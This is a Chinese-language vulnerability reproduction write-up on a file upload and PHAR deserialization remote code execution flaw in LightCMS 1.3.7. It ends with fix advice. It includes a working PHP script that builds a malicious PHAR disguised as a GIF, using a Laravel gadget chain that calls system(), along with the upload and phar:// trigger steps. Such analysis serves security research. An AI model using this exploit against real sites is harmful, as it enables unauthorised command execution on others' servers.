LightCMS 文件上传&&phar反序列化rce漏洞复现
字数 1134 2025-08-05 11:39:37
LightCMS 文件上传与PHAR反序列化RCE漏洞分析
漏洞概述
LightCMS 1.3.7版本存在一个结合文件上传与PHAR反序列化的远程代码执行漏洞。攻击者可以通过精心构造的恶意文件上传,触发PHAR反序列化,最终实现远程代码执行。
环境准备
- PHPStorm + PHP 7.3 + Xdebug
- LightCMS 1.3.7版本
漏洞分析
文件上传功能
LightCMS提供了文件上传功能,主要涉及以下方法:
uploadImage- 上传图片uploadVideo- 上传视频uploadFile- 上传文件
文件上传限制
在/config/light.php中配置了允许上传的文件类型:
'upload' => [
'image' => ['jpg', 'jpeg', 'png', 'gif', 'webp'],
'video' => ['mp4', 'webm'],
'file' => ['pdf', 'doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx', 'zip', 'rar']
]
关键漏洞点 - catchImage方法
catchImage方法在1.3.5之前的版本存在漏洞,修复后添加了fetchImageFile方法进行安全检查。
fetchImageFile方法分析
public function fetchImageFile($url)
{
if (!filter_var($url, FILTER_VALIDATE_URL)) {
return false;
}
$data = $this->getUrl($url);
if ($data === false) {
return false;
}
if ($this->isWebp($data)) {
return $data;
} else {
return Image::make($data);
}
}
关键点:
- 首先验证URL格式
- 使用curl获取URL内容
- 检查是否为webP格式
- 如果不是webP格式,则使用
Image::make($data)处理
漏洞触发链
- 攻击者上传一个包含PHAR元数据的恶意GIF文件
- 通过
catchImage方法触发文件处理 Image::make($data)内部会调用initFromUrl方法initFromUrl方法使用file_get_contents处理数据,可触发PHAR反序列化
PHAR反序列化利用
PHAR(PHP Archive)文件包含序列化的元数据,当通过phar://协议访问时,PHP会自动反序列化这些元数据。
利用条件
- 能够上传文件到服务器
- 服务器上有可用的反序列化链(gadget chain)
- 有触发PHAR反序列化的点(如
file_get_contents)
漏洞利用链
LightCMS使用Laravel 6框架,存在已知的反序列化利用链:
Illuminate\Broadcasting\PendingBroadcast -> __destruct()
-> $this->events->dispatch()
-> Illuminate\Events\Dispatcher -> dispatch()
-> 调用用户可控的$listeners中的函数
漏洞利用
1. 生成恶意PHAR文件
<?php
namespace Illuminate\Broadcasting
{
use Illuminate\Events\Dispatcher;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($cmd)
{
$this->events = new Dispatcher($cmd);
$this->event=$cmd;
}
}
}
namespace Illuminate\Events
{
class Dispatcher
{
protected $listeners;
public function __construct($event){
$this->listeners=[$event=>['system']];
}
}
}
namespace{
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$o = new Illuminate\Broadcasting\PendingBroadcast($argv[1]);
echo base64_encode(serialize($o));
$phar -> setMetadata($o);
$phar -> addFromString('test.txt','test');
$phar -> stopBuffering();
}
2. 上传恶意文件
将生成的PHAR文件后缀改为.gif后上传。
3. 触发反序列化
访问上传的文件路径,使用phar://协议:
phar://./upload/image/202105/IWacvAi8HW9bb6PMdmyURxQSy12tVgp2sevOUXV5.gif
修复建议
- 严格限制上传文件的类型和内容
- 禁用不必要的PHP协议,如
phar:// - 更新Laravel框架到最新版本
- 对用户提供的URL进行更严格的验证
总结
该漏洞结合了文件上传和PHAR反序列化两个攻击面,利用Laravel框架中的反序列化链实现远程代码执行。关键在于catchImage方法中的Image::make($data)调用,最终通过file_get_contents触发PHAR反序列化。